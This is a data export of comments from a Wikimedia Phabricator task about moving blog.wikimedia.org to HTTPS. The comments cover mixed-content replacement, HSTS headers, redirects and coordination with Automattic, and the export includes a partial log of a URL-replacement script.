701559,Switch blog to HTTPS-only,To re-iterate current status: the main thing missing here in the present is that the STS header is insufficient.  It should be `strict-transport-security:max-age=31536000; includeSubDomains; preload`,,,1469646951,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,55,True,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,14.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.0,14.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.892857142857143,0.8928571428571429,To re-iterate current status: the main thing missing here in the present is that the STS header is insufficient.  It should be CODE
694779,Switch blog to HTTPS-only,">>! In T105905#2463476, @faidon wrote:
> @Tbayer, I still do. In fact I've been receiving these ticket (or series of tickets?) updates since Jul 24th 2015. 
OK, from your email summary it wasn't clear if you had received (or read) the most recent updates. In particular, while I generally agree with your critical opinion about the support quality in this ticket, it should be said that the difficult part (the content replacements, first bullet point in the task) had in fact been completed at this point, even though, granted, it had involved much prodding and some false starts. 
> They supposedly support HTTPS-by-default since April (see https://en.blog.wordpress.com/2016/04/08/https-everywhere-encryption-for-all-wordpress-com-sites/ and https://en.support.wordpress.com/https/) so it might just be a click of a button these days.
Yes, we already discussed that announcement above, and indeed the hope has been that we can now profit from this general process. That said, the redirect plugin question remains relevant for some other purposes.
> 
> After my mail ysterday, Jeff Elder contacted me for clarifications (which I gave). 
I would have appreciated some coordination on this, which would also have helped the misunderstandings that apparently occurred with the support person today, and prevented the premature switchover at a point where nobody has worked yet on updating the canonical links (see below).

> I'm not sure what he did yet, but blog.wikimedia.org seems to redirect to HTTPS today and even sending an STS header. I don't see a rel=canonical in that HTML, so I guess there isn't anything more to be done.
https://blog.wikimedia.org doesn't have a rel=canonical, but individual posts do. (If you read the updates on the Automattic support ticket from recent months, you will see a discussion about this difference.) And unfortunately the latter still points to the HTTP version - e.g. in https://blog.wikimedia.org/2016/07/14/pokemon-go-wikipedia/ it's `<link rel=""canonical"" href=""http://blog.wikimedia.org/2016/07/14/pokemon-go-wikipedia/"" />`. Same for the shortlinks.

",,,1468526127,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,54,True,1.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,6.666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,2.3333333333333335,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,6.333333333333333,9.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.6666666666666666,0.3333333333333333,1.0,0.0,3.6666666666666665,1.0,1.3333333333333333,1.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,2.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,14.333333333333334,0.6666666666666666,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.0,1.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,7.0,1.3333333333333333,7.333333333333333,2.0,2.0,10.666666666666666,0.0,0.0,0.0,0.0,3.0,0.3333333333333333,0.0,0.0,4.666666666666667,9.0,2.0,0.0,0.0,0.0,4.666666666666667,0.0,1.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.225903614457831,0.7252342704149933,"QUOTE
QUOTE
OK, from your email summary it wasn't clear if you had received (or read) the most recent updates. In particular, while I generally agree with your critical opinion about the support quality in this ticket, it should be said that the difficult part (the content replacements, first bullet point in the task) had in fact been completed at this point, even though, granted, it had involved much prodding and some false starts. 
QUOTE
Yes, we already discussed that announcement above, and indeed the hope has been that we can now profit from this general process. That said, the redirect plugin question remains relevant for some other purposes.
QUOTE
QUOTE
I would have appreciated some coordination on this, which would also have helped the misunderstandings that apparently occurred with the support person today, and prevented the premature switchover at a point where nobody has worked yet on updating the canonical links (see below).

QUOTE
URL doesn't have a rel=canonical, but individual posts do. (If you read the updates on the Automattic support ticket from recent months, you will see a discussion about this difference.) And unfortunately the latter still points to the HTTP version - e.g. in URL it's CODE. Same for the shortlinks.

"
694738,Switch blog to HTTPS-only,"Nice! The redirect functionality looks correct.  However, the STS header is `strict-transport-security:max-age=31536000`, whereas it should be `strict-transport-security:max-age=31536000; includeSubDomains; preload`.  This isn't mentioned in the ticket description here because this ticket predates all of our later HSTS work. 

We also haven't made lack of proper STS on these minority one-off sites a blocker for anything yet because they're generally going to be protected by our wikimedia.org STS preload entry in modern browsers anyways.

However, the rules on that are evolving: https://hstspreload.appspot.com/ now says that domains preloaded after their Feb 16, 2016 cutoff (and wikimedia.org didn't make that cutoff, although most of our other domains did) are subject to possible future removal from the STS-preload list if Chrome browsers detect a lack of preloadable headers in the wild.  We're not sure exactly how this will work (e.g. if a one-off hostname in wikimedia.org's lack of headers can trigger removal of all of wikimedia.org), and it hasn't happened to any site (anywhere) yet, but this underscores the importance of getting all of our sites aligned on this issue in the long run.  I'll probably end up making a separate ticket about STS-preload cleanup once we get over other more-fundamental hurdles, but cleaning this case up now while someone's actively looking into it might be a good idea :)",,,1468523621,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,54,True,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,1.6666666666666667,6.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,2.6666666666666665,2.3333333333333335,0.0,0.0,0.0,2.6666666666666665,0.0,7.333333333333333,14.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,6.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,13.666666666666666,1.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,4.666666666666667,2.3333333333333335,6.333333333333333,3.3333333333333335,1.3333333333333333,9.333333333333334,0.0,0.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,0.3333333333333333,1.6666666666666667,0.0,4.666666666666667,14.0,3.0,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,1.6666666666666667,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,1.0,4.130357301969171,0.7924351777599572,"Nice! The redirect functionality looks correct.  However, the STS header is CODE, whereas it should be CODE.  This isn't mentioned in the ticket description here because this ticket predates all of our later HSTS work. 

We also haven't made lack of proper STS on these minority one-off sites a blocker for anything yet because they're generally going to be protected by our wikimedia.org STS preload entry in modern browsers anyways.

However, the rules on that are evolving: URL now says that domains preloaded after their Feb 16, 2016 cutoff (and wikimedia.org didn't make that cutoff, although most of our other domains did) are subject to possible future removal from the STS-preload list if Chrome browsers detect a lack of preloadable headers in the wild.  We're not sure exactly how this will work (e.g. if a one-off hostname in wikimedia.org's lack of headers can trigger removal of all of wikimedia.org), and it hasn't happened to any site (anywhere) yet, but this underscores the importance of getting all of our sites aligned on this issue in the long run.  I'll probably end up making a separate ticket about STS-preload cleanup once we get over other more-fundamental hurdles, but cleaning this case up now while someone's actively looking into it might be a good idea :)"
694721,Switch blog to HTTPS-only,"@Tbayer, I still do. In fact I've been receiving these ticket (or series of tickets?) updates since Jul 24th 2015. They supposedly support HTTPS-by-default since April (see https://en.blog.wordpress.com/2016/04/08/https-everywhere-encryption-for-all-wordpress-com-sites/ and https://en.support.wordpress.com/https/) so it might just be a click of a button these days.

After my mail ysterday, Jeff Elder contacted me for clarifications (which I gave). I'm not sure what he did yet, but blog.wikimedia.org seems to redirect to HTTPS today and even sending an STS header. I don't see a rel=canonical in that HTML, so I guess there isn't anything more to be done.

I'll wait until a response before I resolve this ticket (besides, I also raised the tangential issue of switching to Let's Encrypt with him, so might be good to get an update on that).",,,1468522841,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,54,True,0.0,0.5,0.0,0.5,1.5,2.5,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.5,6.0,0.0,7.0,12.0,0.5,2.0,0.0,1.0,0.0,2.0,0.5,0.0,0.0,1.0,0.5,0.0,5.5,1.5,0.5,0.0,0.0,0.5,0.5,0.5,0.5,0.0,1.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,12.5,0.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.0,4.0,3.0,13.5,1.5,2.0,7.5,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,9.0,12.0,4.5,0.5,0.0,0.0,9.0,0.0,1.0,3.5,1.0,1.5,0.5,0.0,0.0,3.64453477868112,0.7852303523035231,"SCREEN_NAME, I still do. In fact I've been receiving these ticket (or series of tickets?) updates since Jul 24th 2015. They supposedly support HTTPS-by-default since April (see URL and URL so it might just be a click of a button these days.

After my mail ysterday, Jeff Elder contacted me for clarifications (which I gave). I'm not sure what he did yet, but blog.wikimedia.org seems to redirect to HTTPS today and even sending an STS header. I don't see a rel=canonical in that HTML, so I guess there isn't anything more to be done.

I'll wait until a response before I resolve this ticket (besides, I also raised the tangential issue of switching to Let's Encrypt with him, so might be good to get an update on that)."
694705,Switch blog to HTTPS-only,"Update (@faidon: I'm still unsure if you are receiving the updates from the internal ticket with Automattic):

On April 21, I had asked Automattic's support about their suggestions for implementing the HTTP -> HTTPS redirect. (Looking at at https://vip.wordpress.com/documentation/setting-up-redirects/ , the ""Safe Redirect Manager"" plugin looks attractive, also because it might be possible to use it for fixing some legacy URLs. But it's not clear to me if it supports the wildcard HTTP -> HTTPS redirects we need here.) 
I received a reply on April 26 saying that they would look into this question, but no response on this issue since then. I just followed up on the support ticket.

Obviously I agree that this kind of response time is not satisfactory. I should have followed up earlier, but having already had to sink way more time into this project that anticipated last year though, I have been limiting the amount of effort I've put myself into shepherding this - it's no longer my main work area. 

Ops, thanks for nudging this. If it this blocking anything on your side regarding HTTPS on our domains in general, I would suggest attaching a blocking/parent task.",,,1468522378,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,54,True,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,3.6666666666666665,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,5.333333333333333,0.6666666666666666,4.666666666666667,11.666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,4.333333333333333,0.3333333333333333,2.3333333333333335,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,1.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,12.333333333333334,1.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,1.3333333333333333,10.666666666666666,2.3333333333333335,1.0,6.666666666666667,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.6666666666666666,0.0,9.0,11.666666666666666,4.666666666666667,0.0,0.6666666666666666,0.3333333333333333,9.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,4.666666666666667,1.3333333333333333,0.0,0.3333333333333333,4.022100706311233,0.8044543176122124,"Update (@faidon: I'm still unsure if you are receiving the updates from the internal ticket with Automattic):

On April 21, I had asked Automattic's support about their suggestions for implementing the HTTP -> HTTPS redirect. (Looking at at URL , the ""Safe Redirect Manager"" plugin looks attractive, also because it might be possible to use it for fixing some legacy URLs. But it's not clear to me if it supports the wildcard HTTP -> HTTPS redirects we need here.) 
I received a reply on April 26 saying that they would look into this question, but no response on this issue since then. I just followed up on the support ticket.

Obviously I agree that this kind of response time is not satisfactory. I should have followed up earlier, but having already had to sink way more time into this project that anticipated last year though, I have been limiting the amount of effort I've put myself into shepherding this - it's no longer my main work area. 

Ops, thanks for nudging this. If it this blocking anything on your side regarding HTTPS on our domains in general, I would suggest attaching a blocking/parent task."
692759,Switch blog to HTTPS-only,"We (@Tbayer mostly) have asked for this repeatedly, to no avail. There was a thread with comms that hasn't seen any activity lately, I'll ping again…",,,1468327996,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,53,True,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,6.0,0.0,15.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,9.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,3.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.9705882352941176,"We (@Tbayer mostly) have asked for this repeatedly, to no avail. There was a thread with comms that hasn't seen any activity lately, I'll ping again…"
692014,Switch blog to HTTPS-only,"If there's no real cost to do so, it would be ideal to ask them to switch our VIP for blog.wm.o to HTTPS-by-default and LetsEncrypt (as the latter will save us some maintenance burden and cost).",,,1468253490,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,53,True,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,18.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,18.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.533333333333333,0.8666666666666667,"If there's no real cost to do so, it would be ideal to ask them to switch our VIP for blog.wm.o to HTTPS-by-default and LetsEncrypt (as the latter will save us some maintenance burden and cost)."
643393,Switch blog to HTTPS-only,">>! In T105905#2191112, @jrbs wrote:
> [Wordpress is now using HTTPS as default for blogs making use of their backend.](http://thenextweb.com/insider/2016/04/08/wordpress-rolls-encrypted-https-standard/) I'm not sure how (if it all) this impacts on this task, but worth pointing out.

Yes, that's indeed interesting news. There was also a parallel [[http://lobby.vip.wordpress.com/2016/04/08/https-support-for-vip-sites/| announcement]] in the internal ""WordPress.com VIP Lobby"" blog (let me know in case it hasn't reached you and you're interested in reading it) saying that VIP sites are not included in this rollout, but offering support to convert a VIP site on request. As the TheNextWeb article states, their standard setup uses certificates from Let's Encrypt whereas we have long ago decided to purchase our own, but that case is apparently supported too.

To be clear, this does not touch the work we have completed so far (making the content future-proof against mixed content warnings by replacing HTTP embeded content with HTTPS), but should make the next steps (about which I have just followed up again with Automattic) easier.",,,1460375597,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,1.0,1.5,7.0,0.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.5,3.0,0.0,7.5,10.0,0.0,1.5,0.5,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,5.5,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.5,14.5,1.0,1.0,0.5,0.5,0.0,0.0,0.0,2.5,0.5,0.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.5,1.0,2.0,6.5,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,5.5,10.0,4.0,0.0,1.0,0.0,5.5,0.0,0.5,1.0,0.5,2.5,0.5,0.0,1.0,4.12962962962963,0.8099217103282144,"QUOTE
QUOTE

Yes, that's indeed interesting news. There was also a parallel [[URL announcement]] in the internal ""WordPress.com VIP Lobby"" blog (let me know in case it hasn't reached you and you're interested in reading it) saying that VIP sites are not included in this rollout, but offering support to convert a VIP site on request. As the TheNextWeb article states, their standard setup uses certificates from Let's Encrypt whereas we have long ago decided to purchase our own, but that case is apparently supported too.

To be clear, this does not touch the work we have completed so far (making the content future-proof against mixed content warnings by replacing HTTP embeded content with HTTPS), but should make the next steps (about which I have just followed up again with Automattic) easier."
642742,Switch blog to HTTPS-only,"[Wordpress is now using HTTPS as default for blogs making use of their backend.](http://thenextweb.com/insider/2016/04/08/wordpress-rolls-encrypted-https-standard/) I'm not sure how (if it all) this impacts on this task, but worth pointing out.",,,1460134964,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,False,,,40,True,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,6.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,6.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,3.75,0.9722222222222222,"[Wordpress is now using HTTPS as default for blogs making use of their backend.](URL I'm not sure how (if it all) this impacts on this task, but worth pointing out."
636124,Switch blog to HTTPS-only,"Update: After some more detours, all posts that embedded HTTP content should now have been converted to HTTPS. In the end Automattic ran two conversion scripts for us, see log below. Checking about 10 random posts from each list, they all look good. In addition, I have now manually fixed the five posts found earlier with the ""mixed content scan"" tool.

I've followed up with Automattic to see about the completion of the remaining steps from the task description.

```lines=5
Found 303 posts to update on http://blog.wikimedia.org
str_replace( 'http://upload.wikimedia.org/', 'https://upload.wikimedia.org/' ); will be run against post_content rows.
0: Post #25 was modified in 1 place(s)
1: Post #26 was modified in 1 place(s)
2: Post #27 was modified in 1 place(s)
3: Post #28 was modified in 1 place(s)
4: Post #29 was modified in 1 place(s)
5: Post #33 was modified in 8 place(s)
6: Post #36 was modified in 1 place(s)
7: Post #39 was modified in 1 place(s)
8: Post #40 was modified in 1 place(s)
9: Post #49 was modified in 1 place(s)
10: Post #52 was modified in 1 place(s)
11: Post #53 was modified in 1 place(s)
12: Post #55 was modified in 1 place(s)
13: Post #56 was modified in 1 place(s)
14: Post #57 was modified in 1 place(s)
15: Post #61 was modified in 1 place(s)
16: Post #63 was modified in 1 place(s)
17: Post #65 was modified in 2 place(s)
18: Post #68 was modified in 2 place(s)
19: Post #138 was modified in 1 place(s)
20: Post #161 was modified in 1 place(s)
21: Post #165 was modified in 1 place(s)
22: Post #168 was modified in 1 place(s)
23: Post #181 was modified in 1 place(s)
24: Post #186 was modified in 1 place(s)
25: Post #199 was modified in 1 place(s)
26: Post #205 was modified in 1 place(s)
27: Post #212 was modified in 1 place(s)
28: Post #225 was modified in 2 place(s)
29: Post #240 was modified in 1 place(s)
30: Post #280 was modified in 1 place(s)
31: Post #290 was modified in 1 place(s)
32: Post #318 was modified in 1 place(s)
33: Post #347 was modified in 1 place(s)
34: Post #468 was modified in 2 place(s)
35: Post #493 was modified in 3 place(s)
36: Post #504 was modified in 2 place(s)
37: Post #544 was modified in 1 place(s)
38: Post #554 was modified in 1 place(s)
39: Post #3711 was modified in 1 place(s)
40: Post #3712 was modified in 1 place(s)
41: Post #3713 was modified in 1 place(s)
42: Post #3714 was modified in 1 place(s)
43: Post #3715 was modified in 1 place(s)
44: Post #3717 was modified in 1 place(s)
45: Post #592 was modified in 1 place(s)
46: Post #602 was modified in 1 place(s)
47: Post #638 was modified in 1 place(s)
48: Post #663 was modified in 1 place(s)
49: Post #766 was modified in 2 place(s)
50: Post #3721 was modified in 2 place(s)
51: Post #3723 was modified in 1 place(s)
52: Post #3726 was modified in 1 place(s)
53: Post #799 was modified in 1 place(s)
54: Post #890 was modified in 1 place(s)
55: Post #856 was modified in 1 place(s)
56: Post #923 was modified in 1 place(s)
57: Post #3740 was modified in 1 place(s)
58: Post #3743 was modified in 1 place(s)
59: Post #3753 was modified in 1 place(s)
60: Post #996 was modified in 2 place(s)
61: Post #1024 was modified in 2 place(s)
62: Post #3756 was modified in 2 place(s)
63: Post #3758 was modified in 1 place(s)
64: Post #3761 was modified in 1 place(s)
65: Post #3763 was modified in 1 place(s)
66: Post #1061 was modified in 1 place(s)
67: Post #1071 was modified in 1 place(s)
68: Post #1111 was modified in 1 place(s)
69: Post #3771 was modified in 1 place(s)
70: Post #3772 was modified in 1 place(s)
71: Post #3773 was modified in 1 place(s)
72: Post #3781 was modified in 1 place(s)
73: Post #1140 was modified in 2 place(s)
74: Post #1153 was modified in 1 place(s)
75: Post #1206 was modified in 1 place(s)
76: Post #1287 was modified in 1 place(s)
77: Post #1337 was modified in 1 place(s)
78: Post #1367 was modified in 1 place(s)
79: Post #1426 was modified in 1 place(s)
80: Post #1459 was modified in 1 place(s)
81: Post #1204 was modified in 16 place(s)
82: Post #1518 was modified in 1 place(s)
83: Post #1552 was modified in 1 place(s)
84: Post #1605 was modified in 1 place(s)
85: Post #3805 was modified in 1 place(s)
86: Post #3807 was modified in 1 place(s)
87: Post #3808 was modified in 1 place(s)
88: Post #1660 was modified in 1 place(s)
89: Post #1676 was modified in 1 place(s)
90: Post #1756 was modified in 1 place(s)
91: Post #1782 was modified in 1 place(s)
92: Post #1889 was modified in 1 place(s)
93: Post #1935 was modified in 1 place(s)
94: Post #1951 was modified in 4 place(s)
95: Post #2179 was modified in 1 place(s)
96: Post #2203 was modified in 1 place(s)
97: Post #2218 was modified in 2 place(s)
98: Post #2245 was modified in 1 place(s)
99: Post #2268 was modified in 1 place(s)
100: Post #2306 was modified in 1 place(s)
101: Post #2315 was modified in 1 place(s)
102: Post #2331 was modified in 1 place(s)
103: Post #2334 was modified in 1 place(s)
104: Post #3833 was modified in 3 place(s)
105: Post #2556 was modified in 1 place(s)
106: Post #2582 was modified in 1 place(s)
107: Post #2588 was modified in 1 place(s)
108: Post #2604 was modified in 1 place(s)
109: Post #2756 was modified in 1 place(s)
110: Post #2807 was modified in 1 place(s)
111: Post #2849 was modified in 1 place(s)
112: Post #2910 was modified in 1 place(s)
113: Post #2925 was modified in 1 place(s)
114: Post #2988 was modified in 1 place(s)
115: Post #3001 was modified in 1 place(s)
116: Post #3036 was modified in 1 place(s)
117: Post #3462 was modified in 1 place(s)
118: Post #3500 was modified in 3 place(s)
119: Post #3506 was modified in 1 place(s)
120: Post #4075 was modified in 1 place(s)
121: Post #4077 was modified in 1 place(s)
122: Post #4229 was modified in 1 place(s)
123: Post #4264 was modified in 1 place(s)
124: Post #4475 was modified in 1 place(s)
125: Post #4531 was modified in 2 place(s)
126: Post #4576 was modified in 2 place(s)
127: Post #4618 was modified in 1 place(s)
128: Post #4629 was modified in 1 place(s)
129: Post #4706 was modified in 4 place(s)
130: Post #5046 was modified in 2 place(s)
131: Post #5154 was modified in 1 place(s)
132: Post #5557 was modified in 1 place(s)
133: Post #5616 was modified in 1 place(s)
134: Post #5671 was modified in 1 place(s)
135: Post #5710 was modified in 1 place(s)
136: Post #5874 was modified in 3 place(s)
137: Post #6000 was modified in 1 place(s)
138: Post #5907 was modified in 1 place(s)
139: Post #6297 was modified in 4 place(s)
140: Post #6322 was modified in 3 place(s)
141: Post #6477 was modified in 1 place(s)
142: Post #6585 was modified in 1 place(s)
143: Post #6600 was modified in 21 place(s)
144: Post #6645 was modified in 2 place(s)
145: Post #6666 was modified in 1 place(s)
146: Post #6674 was modified in 1 place(s)
147: Post #6713 was modified in 1 place(s)
148: Post #6740 was modified in 2 place(s)
149: Post #6792 was modified in 4 place(s)
150: Post #6807 was modified in 1 place(s)
151: Post #6883 was modified in 1 place(s)
152: Post #7011 was modified in 4 place(s)
153: Post #7175 was modified in 1 place(s)
154: Post #7230 was modified in 4 place(s)
155: Post #7279 was modified in 26 place(s)
156: Post #7417 was modified in 1 place(s)
157: Post #7428 was modified in 3 place(s)
158: Post #7569 was modified in 4 place(s)
159: Post #7573 was modified in 4 place(s)
160: Post #7582 was modified in 4 place(s)
161: Post #7630 was modified in 1 place(s)
162: Post #7553 was modified in 1 place(s)
163: Post #7677 was modified in 8 place(s)
164: Post #7983 was modified in 1 place(s)
165: Post #8017 was modified in 17 place(s)
166: Post #7998 was modified in 4 place(s)
167: Post #8007 was modified in 2 place(s)
168: Post #8040 was modified in 1 place(s)
169: Post #8168 was modified in 5 place(s)
170: Post #8284 was modified in 5 place(s)
171: Post #8331 was modified in 2 place(s)
172: Post #8421 was modified in 3 place(s)
173: Post #8452 was modified in 1 place(s)
174: Post #8673 was modified in 1 place(s)
175: Post #8675 was modified in 1 place(s)
176: Post #8702 was modified in 2 place(s)
177: Post #8829 was modified in 22 place(s)
178: Post #9019 was modified in 9 place(s)
179: Post #9027 was modified in 5 place(s)
180: Post #10655 was modified in 1 place(s)
181: Post #10849 was modified in 3 place(s)
182: Post #10902 was modified in 3 place(s)
183: Post #10922 was modified in 1 place(s)
184: Post #11307 was modified in 23 place(s)
185: Post #11102 was modified in 1 place(s)
186: Post #11596 was modified in 2 place(s)
187: Post #11658 was modified in 2 place(s)
188: Post #12075 was modified in 1 place(s)
189: Post #12289 was modified in 5 place(s)
190: Post #12295 was modified in 4 place(s)
191: Post #11184 was modified in 1 place(s)
192: Post #12662 was modified in 3 place(s)
193: Post #12751 was modified in 6 place(s)
194: Post #13049 was modified in 1 place(s)
195: Post #13267 was modified in 43 place(s)
196: Post #13282 was modified in 1 place(s)
197: Post #13328 was modified in 2 place(s)
198: Post #13385 was modified in 1 place(s)
199: Post #13436 was modified in 2 place(s)
200: Post #13452 was modified in 2 place(s)
201: Post #13494 was modified in 4 place(s)
202: Post #13571 was modified in 4 place(s)
203: Post #13578 was modified in 5 place(s)
204: Post #13637 was modified in 1 place(s)
205: Post #13850 was modified in 2 place(s)
206: Post #13866 was modified in 1 place(s)
207: Post #13962 was modified in 1 place(s)
208: Post #14064 was modified in 2 place(s)
209: Post #14132 was modified in 3 place(s)
210: Post #14201 was modified in 4 place(s)
211: Post #14243 was modified in 21 place(s)
212: Post #14296 was modified in 4 place(s)
213: Post #14504 was modified in 8 place(s)
214: Post #14906 was modified in 1 place(s)
215: Post #15044 was modified in 2 place(s)
216: Post #15061 was modified in 1 place(s)
217: Post #15065 was modified in 1 place(s)
218: Post #14382 was modified in 35 place(s)
219: Post #15153 was modified in 1 place(s)
220: Post #15076 was modified in 1 place(s)
221: Post #15195 was modified in 1 place(s)
222: Post #15856 was modified in 2 place(s)
223: Post #16028 was modified in 1 place(s)
224: Post #16443 was modified in 4 place(s)
225: Post #16460 was modified in 1 place(s)
226: Post #16647 was modified in 1 place(s)
227: Post #16651 was modified in 1 place(s)
228: Post #17282 was modified in 1 place(s)
229: Post #17288 was modified in 1 place(s)
230: Post #17387 was modified in 2 place(s)
231: Post #17519 was modified in 1 place(s)
232: Post #17553 was modified in 1 place(s)
233: Post #17573 was modified in 1 place(s)
234: Post #18069 was modified in 1 place(s)
235: Post #15834 was modified in 1 place(s)
236: Post #18783 was modified in 1 place(s)
237: Post #18789 was modified in 1 place(s)
238: Post #18831 was modified in 2 place(s)
239: Post #19105 was modified in 1 place(s)
240: Post #19888 was modified in 1 place(s)
241: Post #19892 was modified in 1 place(s)
242: Post #20187 was modified in 2 place(s)
243: Post #20345 was modified in 1 place(s)
244: Post #20352 was modified in 1 place(s)
245: Post #21058 was modified in 1 place(s)
246: Post #21309 was modified in 2 place(s)
247: Post #21453 was modified in 1 place(s)
248: Post #21456 was modified in 1 place(s)
